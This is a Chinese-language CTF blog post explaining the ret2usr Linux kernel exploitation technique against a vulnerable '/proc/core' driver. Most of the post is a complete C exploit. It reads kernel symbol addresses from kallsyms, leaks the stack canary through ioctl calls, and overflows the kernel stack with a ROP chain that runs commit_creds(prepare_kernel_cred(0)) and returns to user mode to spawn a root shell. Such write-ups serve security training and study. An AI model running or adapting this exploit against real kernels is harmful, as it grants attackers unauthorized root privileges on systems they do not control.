kernel pwn ret2usr

Posted 2021-12-07 N4tural

思路

通过读取 /tmp/kallsyms 获取 commit_creds 和 prepare_kernel_cred 的方法相同，同时根据这些偏移能确定 gadget 的地址。
leak canary 的方法也相同，通过控制全局变量 off 读出 canary。

但是之后就不同了

rop的构造是执行函数commit_cred(prepare_kernel_cred(0))进行提升权限，通过swapgs; iretq返回用户态执行system_calll
而ret2usr是执行用户态中的commit_cred(prepare_kernel_cred(0))，ret2usr 攻击利用了 用户空间的进程不能访问内核空间，但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件，以 ring 0 特权执行用户空间代码完成提权等操作。
这个方法其实跟上面所说的ROP基本没有区别，最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数，从而不需要rop调用，直接调用函数即可。

exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}


void get_shell(void){
    system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}


void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\\n", size);
    ioctl(fd, 0x6677889A, size);
}


int main(void)
{
    find_symbols();
    size_t offset = vmlinux_base - raw_vmlinux_base;
    save_status();

    int fd = open("/proc/core",O_RDWR);
    set_off(fd, 0x40);
    size_t buf[0x40/8];
    core_read(fd, buf);
    size_t canary = buf[0];
    printf("[*]canary : %p\\n", canary);

    size_t rop[0x30] = {0};
    rop[8] = canary ; 
    rop[10] = (size_t)get_root;
    rop[11] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[12] = 0;
    rop[13] = 0xffffffff81050ac2 + offset; // iretq; ret;
    rop[14] = (size_t)get_shell; 
    rop[15] = user_cs;
    rop[16] = user_rflags;
    rop[17] = user_sp;
    rop[18] = user_ss;

    puts("[*] DEBUG: ");
    getchar();
    write(fd, rop, 0x30 * 8);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}